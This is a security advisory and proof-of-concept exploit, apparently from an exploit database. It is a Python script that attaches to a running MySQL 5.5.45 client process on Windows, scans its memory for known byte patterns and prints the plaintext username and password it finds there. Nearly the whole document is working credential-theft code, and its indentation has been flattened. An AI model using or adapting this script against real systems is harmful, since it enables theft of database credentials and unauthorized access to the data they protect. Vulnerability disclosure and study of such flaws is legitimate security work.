MySQL 5.5.45 64bit Local Credential Dislcosure

`#####  
# MySQL 5.5.45 (64bit) Local Credentials Disclosure  
# Tested on Windows Windows Server 2012 R2 64bit, English  
# Vendor Homepage @ https://www.mysql.com  
# Date 05/09/2016  
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
#  
# http://www.black-rose.ml  
#  
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)  
#####  
# MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.  
# A potential attacker could reveal the supplied username and password in order to gain access to the database.  
# Proof-Of-Concept Code:  
#####  
  
import time  
from winappdbg import Debug, Process  
  
def b2h(str):  
return ''.join(["%02X " % ord(x) for x in str]).strip()  
  
def h2b(str):  
bytes = []  
str = ''.join(str.split(" "))  
  
for i in range(0, len(str), 2):  
bytes.append(chr(int(str[i:i+2], 16)))  
  
return ''.join(bytes)  
  
usr = ''  
pwd = ''  
count = 0  
filename = "mysql.exe"  
process_pid = 0  
memory_dump = []  
passwd = []  
  
debug = Debug()  
try:  
print "[~] Searching for pid by process name '%s'.." % (filename)  
time.sleep(1)  
debug.system.scan_processes()  
for (process, process_name) in debug.system.find_processes_by_filename(filename):  
process_pid = process.get_pid()  
if process_pid is not 0:  
print "[+] Found process pid #%d" % (process_pid)  
time.sleep(1)  
print "[~] Trying to read memory for pid #%d" % (process_pid)  
  
process = Process(process_pid)  
for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'):  
memory_dump.append(process.read(address,30))  
for i in range(len(memory_dump)):  
str = b2h(memory_dump[i])  
first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]  
last = first.split(" 00 2D 70")  
if last[0]:  
usr = h2b(last[0])  
  
memory_dump = []  
for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'):  
memory_dump.append(process.read(address,100))  
sorted(set(memory_dump))  
for i in range(len(memory_dump)):  
str = b2h(memory_dump[i])  
string = str.split('00 8F')  
for x in range(len(string)):  
if x == 1:  
passwd = string  
try:  
pwd = h2b(passwd[1].split('00 00')[0])  
except:  
pass  
  
print "[~] Trying to extract credentials from memory.."  
time.sleep(1)  
if usr != '' and pwd != '':  
print "[+] Credentials found!\r\n----------------------------------------"  
print "[+] Username: %s" % usr  
print "[+] Password: %s" % pwd  
else:  
print "[-] Credentials not found!"  
else:  
print "[-] No process found with name '%s'" % (filename)  
  
debug.loop()  
finally:  
debug.stop()  
  
`